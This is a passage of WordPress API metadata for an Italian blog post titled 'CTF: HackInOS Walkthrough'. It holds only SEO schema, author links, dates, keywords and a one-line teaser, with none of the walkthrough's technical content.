Informatica\"],\"inLanguage\":\"it-IT\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/www.iprog.it\\\/blog\\\/sicurezza-informatica\\\/hackinos-1-walkthrough\\\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/www.iprog.it\\\/blog\\\/sicurezza-informatica\\\/hackinos-1-walkthrough\\\/\",\"url\":\"https:\\\/\\\/www.iprog.it\\\/blog\\\/sicurezza-informatica\\\/hackinos-1-walkthrough\\\/\",\"name\":\"CTF: HackInOS Walkthrough - iProg\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.iprog.it\\\/blog\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/www.iprog.it\\\/blog\\\/sicurezza-informatica\\\/hackinos-1-walkthrough\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/www.iprog.it\\\/blog\\\/sicurezza-informatica\\\/hackinos-1-walkthrough\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/www.iprog.it\\\/blog\\\/wp-content\\\/uploads\\\/2019\\\/03\\\/HackInOS-00-thumb.png\",\"datePublished\":\"2019-04-01T08:37:22+00:00\",\"dateModified\":\"2019-04-15T10:30:42+00:00\",\"author\":{\"@id\":\"https:\\\/\\\/www.iprog.it\\\/blog\\\/#\\\/schema\\\/person\\\/048c8acb70f8a33f1498675ab9db41a3\"},\"inLanguage\":\"it-IT\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/www.iprog.it\\\/blog\\\/sicurezza-informatica\\\/hackinos-1-walkthrough\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"it-IT\",\"@id\":\"https:\\\/\\\/www.iprog.it\\\/blog\\\/sicurezza-informatica\\\/hackinos-1-walkthrough\\\/#primaryimage\",\"url\":\"https:\\\/\\\/www.iprog.it\\\/blog\\\/wp-content\\\/uploads\\\/2019\\\/03\\\/HackInOS-00-thumb.png\",\"contentUrl\":\"https:\\\/\\\/www.iprog.it\\\/blog\\\/wp-content\\\/uploads\\\/2019\\\/03\\\/HackInOS-00-thumb.png\",\"width\":141,\"height\":200},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/www.iprog.it\\\/blog\\\/#website\",\"url\":\"https:\\\/\\\/www.iprog.it\\\/blog\\\/\",\"name\":\"iProg\",\"description\":\"perch\u00e9 reinventare la ruota?\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/www.iprog.it\\\/blog\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"it-IT\"},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/www.iprog.it\\\/blog\\\/#\\\/schema\\\/person\\\/048c8acb70f8a33f1498675ab9db41a3\",\"name\":\"Diego\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"it-IT\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/bf8084effa4627f8e50af0d50d06b0677e4a9de5e895e347c0590ad5696fdfc9?s=96&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/bf8084effa4627f8e50af0d50d06b0677e4a9de5e895e347c0590ad5696fdfc9?s=96&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/bf8084effa4627f8e50af0d50d06b0677e4a9de5e895e347c0590ad5696fdfc9?s=96&r=g\",\"caption\":\"Diego\"},\"description\":\"Google+\",\"sameAs\":[\"http:\\\/\\\/it.linkedin.com\\\/in\\\/diegocaridei\\\/\",\"https:\\\/\\\/x.com\\\/flexkid1\",\"http:\\\/\\\/www.youtube.com\\\/channel\\\/UCjQ2z1ygV9tv55QAc2q3JHA\"],\"url\":\"https:\\\/\\\/www.iprog.it\\\/blog\\\/author\\\/flexkid\\\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"CTF: HackInOS Walkthrough - iProg","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.iprog.it\/blog\/sicurezza-informatica\/hackinos-1-walkthrough\/","twitter_card":"summary_large_image","twitter_title":"CTF: HackInOS Walkthrough - iProg","twitter_description":"Introduction Hello dear friends, this is my first CTF walkthrough, I hope you&#8217;ll enjoy It. Box Description HackinOS is a beginner level CTF style vulnerable machine. I created this VM for my university\u2019s cyber security community and all cyber security enthusiasts. I thank to Mehmet Oguz Tozkoparan, \u00d6mer Faruk Senyayla... Read more &raquo;","twitter_image":"https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/HackInOS-00-thumb.png","twitter_creator":"@flexkid1","twitter_site":"@iprogblog","twitter_misc":{"Scritto da":"Diego","Tempo di lettura stimato":"3 minuti"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.iprog.it\/blog\/sicurezza-informatica\/hackinos-1-walkthrough\/#article","isPartOf":{"@id":"https:\/\/www.iprog.it\/blog\/sicurezza-informatica\/hackinos-1-walkthrough\/"},"author":{"name":"Diego","@id":"https:\/\/www.iprog.it\/blog\/#\/schema\/person\/048c8acb70f8a33f1498675ab9db41a3"},"headline":"CTF: HackInOS Walkthrough","datePublished":"2019-04-01T08:37:22+00:00","dateModified":"2019-04-15T10:30:42+00:00","mainEntityOfPage":{"@id":"https:\/\/www.iprog.it\/blog\/sicurezza-informatica\/hackinos-1-walkthrough\/"},"wordCount":635,"commentCount":0,"image":{"@id":"https:\/\/www.iprog.it\/blog\/sicurezza-informatica\/hackinos-1-walkthrough\/#primaryimage"},"thumbnailUrl":"https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/HackInOS-00-thumb.png","keywords":["black hat","ctf","elearnsecurity","ethical","fun","geek","hacking","nerd","oscp","penetration testing","white hat"],"articleSection":["CTF","Sicurezza Informatica"],"inLanguage":"it-IT","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/www.iprog.it\/blog\/sicurezza-informatica\/hackinos-1-walkthrough\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/www.iprog.it\/blog\/sicurezza-informatica\/hackinos-1-walkthrough\/","url":"https:\/\/www.iprog.it\/blog\/sicurezza-informatica\/hackinos-1-walkthrough\/","name":"CTF: HackInOS Walkthrough - iProg","isPartOf":{"@id":"https:\/\/www.iprog.it\/blog\/#website"},"primaryImageOfPage":{"@id":"https:\/\/www.iprog.it\/blog\/sicurezza-informatica\/hackinos-1-walkthrough\/#primaryimage"},"image":{"@id":"https:\/\/www.iprog.it\/blog\/sicurezza-informatica\/hackinos-1-walkthrough\/#primaryimage"},"thumbnailUrl":"https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/HackInOS-00-thumb.png","datePublished":"2019-04-01T08:37:22+00:00","dateModified":"2019-04-15T10:30:42+00:00","author":{"@id":"https:\/\/www.iprog.it\/blog\/#\/schema\/person\/048c8acb70f8a33f1498675ab9db41a3"},"inLanguage":"it-IT","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.iprog.it\/blog\/sicurezza-informatica\/hackinos-1-walkthrough\/"]}]},{"@type":"ImageObject","inLanguage":"it-IT","@id":"https:\/\/www.iprog.it\/blog\/sicurezza-informatica\/hackinos-1-walkthrough\/#primaryimage","url":"https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/HackInOS-00-thumb.png","contentUrl":"https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/HackInOS-00-thumb.png","width":141,"height":200},{"@type":"WebSite","@id":"https:\/\/www.iprog.it\/blog\/#website","url":"https:\/\/www.iprog.it\/blog\/","name":"iProg","description":"perch\u00e9 reinventare la ruota?","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.iprog.it\/blog\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"it-IT"},{"@type":"Person","@id":"https:\/\/www.iprog.it\/blog\/#\/schema\/person\/048c8acb70f8a33f1498675ab9db41a3","name":"Diego","image":{"@type":"ImageObject","inLanguage":"it-IT","@id":"https:\/\/secure.gravatar.com\/avatar\/bf8084effa4627f8e50af0d50d06b0677e4a9de5e895e347c0590ad5696fdfc9?s=96&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/bf8084effa4627f8e50af0d50d06b0677e4a9de5e895e347c0590ad5696fdfc9?s=96&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/bf8084effa4627f8e50af0d50d06b0677e4a9de5e895e347c0590ad5696fdfc9?s=96&r=g","caption":"Diego"},"description":"Google+","sameAs":["http:\/\/it.linkedin.com\/in\/diegocaridei\/","https:\/\/x.com\/flexkid1","http:\/\/www.youtube.com\/channel\/UCjQ2z1ygV9tv55QAc2q3JHA"],"url":"https:\/\/www.iprog.it\/blog\/author\/flexkid\/"}]}},"views":2025,"_links":{"self":[{"href":"https:\/\/www.iprog.it\/blog\/wp-json\/wp\/v2\/posts\/7087","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.iprog.it\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.iprog.it\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.iprog.it\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.iprog.it\/blog\/wp-json\/wp\/v2\/comments?post=7087"}],"version-history":[{"count":12,"href":"https:\/\/www.iprog.it\/blog\/wp-json\/wp\/v2\/posts\/7087\/revisions"}],"predecessor-version":[{"id":7172,"href":"https:\/\/www.iprog.it\/blog\/wp-json\/wp\/v2\/posts\/7087\/revisions\/7172"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.iprog.it\/blog\/wp-json\/wp\/v2\/media\/7088"}],"wp:attachment":[{"href":"https:\/\/www.iprog.it\/blog\/wp-json\/wp\/v2\/media?parent=7087"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.iprog.it\/blog\/wp-json\/wp\/v2\/categories?post=7087"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.iprog.it\/blog\/wp-json\/wp\/v2\/tags?post=7087"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}